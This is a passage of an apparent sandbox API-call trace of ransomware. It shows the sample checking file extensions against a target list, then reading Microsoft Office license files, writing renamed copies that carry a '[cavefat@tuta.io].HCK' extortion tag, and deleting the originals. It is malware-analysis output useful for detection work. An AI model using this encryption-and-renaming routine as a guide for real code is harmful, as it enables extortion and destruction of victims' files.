lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.450] WriteFile (in: hFile=0x564, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x118, lpOverlapped=0x0) returned 1 [0237.450] SetEndOfFile (hFile=0x564) returned 1 [0237.450] CloseHandle (hObject=0x564) returned 1 [0237.450] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.450] SetEndOfFile (hFile=0x454) returned 1 [0237.453] CloseHandle (hObject=0x454) returned 1 [0237.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1 [0237.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.454] lstrlenW (lpString=".doc") returned 4 [0237.454] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.454] lstrlenW (lpString=".docx") returned 5 [0237.454] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.454] lstrlenW (lpString=".pdf") returned 4 [0237.455] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".xls") returned 4 [0237.455] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".xlsx") returned 5 [0237.455] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.455] lstrlenW (lpString=".ppt") returned 4 [0237.455] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.455] lstrlenW (lpString=".zip") returned 4 [0237.455] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".rar") returned 4 [0237.455] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".bz2") returned 4 [0237.455] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".7z") returned 3 [0237.455] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.455] lstrlenW (lpString=".dbf") returned 4 [0237.455] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.455] lstrlenW (lpString=".1cd") returned 4 [0237.455] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.455] lstrlenW (lpString=".jpg") returned 4 [0237.455] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.455] lstrlenW (lpString=".doc") returned 4 [0237.455] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".docx") returned 5 [0237.455] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.455] lstrlenW (lpString=".pdf") returned 4 [0237.455] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".xls") returned 4 [0237.455] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".xlsx") returned 5 [0237.455] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.455] lstrlenW (lpString=".ppt") returned 4 [0237.455] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.455] lstrlenW (lpString=".zip") returned 4 [0237.455] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.455] lstrlenW (lpString=".rar") returned 4 [0237.456] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.456] lstrlenW (lpString=".bz2") returned 4 [0237.456] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.456] lstrlenW (lpString=".7z") returned 3 [0237.456] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.456] lstrlenW (lpString=".dbf") returned 4 [0237.456] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.456] lstrlenW (lpString=".1cd") returned 4 [0237.456] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0237.456] lstrlenW (lpString=".jpg") returned 4 [0237.456] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.456] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.456] lstrlenW (lpString="HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 37 [0237.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.457] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11644) returned 1 [0237.457] CloseHandle (hObject=0x454) returned 1 [0237.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0237.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.458] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.458] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.460] GetLastError () returned 0x0 [0237.460] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0237.641] WriteFile (in: hFile=0x564, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0237.642] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.642] WriteFile (in: hFile=0x564, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11e, lpOverlapped=0x0) returned 1 [0237.642] SetEndOfFile (hFile=0x564) returned 1 [0237.644] CloseHandle (hObject=0x564) returned 1 [0237.644] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.644] SetEndOfFile (hFile=0x454) returned 1 [0237.646] CloseHandle (hObject=0x454) returned 1 [0237.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1 [0238.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.161] lstrlenW (lpString=".doc") returned 4 [0238.161] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString=".docx") returned 5 [0238.161] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.161] lstrlenW (lpString=".pdf") returned 4 [0238.161] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString=".xls") returned 4 [0238.161] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString=".xlsx") returned 5 [0238.161] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.161] lstrlenW (lpString=".ppt") returned 4 [0238.161] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.161] lstrlenW (lpString=".zip") returned 4 [0238.161] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString=".rar") returned 4 [0238.161] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString=".bz2") returned 4 [0238.161] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString=".7z") returned 3 [0238.161] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.161] lstrlenW (lpString=".dbf") returned 4 [0238.161] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.161] lstrlenW (lpString=".1cd") returned 4 [0238.161] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.161] lstrlenW (lpString=".jpg") returned 4 [0238.161] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.161] lstrlenW (lpString=".doc") returned 4 [0238.161] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString=".docx") returned 5 [0238.161] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.161] lstrlenW (lpString=".pdf") returned 4 [0238.161] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.161] lstrlenW (lpString=".xls") returned 4 [0238.162] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.162] lstrlenW (lpString=".xlsx") returned 5 [0238.162] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.162] lstrlenW (lpString=".ppt") returned 4 [0238.162] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.162] lstrlenW (lpString=".zip") returned 4 [0238.162] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.162] lstrlenW (lpString=".rar") returned 4 [0238.162] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.162] lstrlenW (lpString=".bz2") returned 4 [0238.162] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.162] lstrlenW (lpString=".7z") returned 3 [0238.162] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.162] lstrlenW (lpString=".dbf") returned 4 [0238.162] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.162] lstrlenW (lpString=".1cd") returned 4 [0238.162] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0238.162] lstrlenW (lpString=".jpg") returned 4 [0238.162] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.162] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.162] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 36 [0238.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.163] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11617) returned 1 [0238.163] CloseHandle (hObject=0x564) returned 1 [0238.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0238.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.163] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.163] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.164] GetLastError () returned 0x0 [0238.164] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d61, lpOverlapped=0x0) returned 1 [0238.167] WriteFile (in: hFile=0x554, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0238.167] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.168] WriteFile (in: hFile=0x554, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11c, lpOverlapped=0x0) returned 1 [0238.168] SetEndOfFile (hFile=0x554) returned 1 [0238.168] CloseHandle (hObject=0x554) returned 1 [0238.168] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.168] SetEndOfFile (hFile=0x564) returned 1 [0238.170] CloseHandle (hObject=0x564) returned 1 [0238.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0238.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.172] lstrlenW (lpString=".doc") returned 4 [0238.172] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".docx") returned 5 [0238.172] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.172] lstrlenW (lpString=".pdf") returned 4 [0238.172] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".xls") returned 4 [0238.172] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".xlsx") returned 5 [0238.172] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.172] lstrlenW (lpString=".ppt") returned 4 [0238.172] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.172] lstrlenW (lpString=".zip") returned 4 [0238.172] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".rar") returned 4 [0238.172] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".bz2") returned 4 [0238.172] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".7z") returned 3 [0238.172] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.172] lstrlenW (lpString=".dbf") returned 4 [0238.172] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.172] lstrlenW (lpString=".1cd") returned 4 [0238.172] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.172] lstrlenW (lpString=".jpg") returned 4 [0238.172] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.172] lstrlenW (lpString=".doc") returned 4 [0238.172] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".docx") returned 5 [0238.172] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.172] lstrlenW (lpString=".pdf") returned 4 [0238.172] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".xls") returned 4 [0238.172] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.172] lstrlenW (lpString=".xlsx") returned 5 [0238.173] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.173] lstrlenW (lpString=".ppt") returned 4 [0238.173] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.173] lstrlenW (lpString=".zip") returned 4 [0238.173] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.173] lstrlenW (lpString=".rar") returned 4 [0238.173] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.173] lstrlenW (lpString=".bz2") returned 4 [0238.173] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.173] lstrlenW (lpString=".7z") returned 3 [0238.173] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.173] lstrlenW (lpString=".dbf") returned 4 [0238.173] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.173] lstrlenW (lpString=".1cd") returned 4 [0238.173] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0238.173] lstrlenW (lpString=".jpg") returned 4 [0238.173] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.173] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.173] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 36 [0238.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.174] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19962) returned 1 [0238.174] CloseHandle (hObject=0x564) returned 1 [0238.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0238.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.174] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.175] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 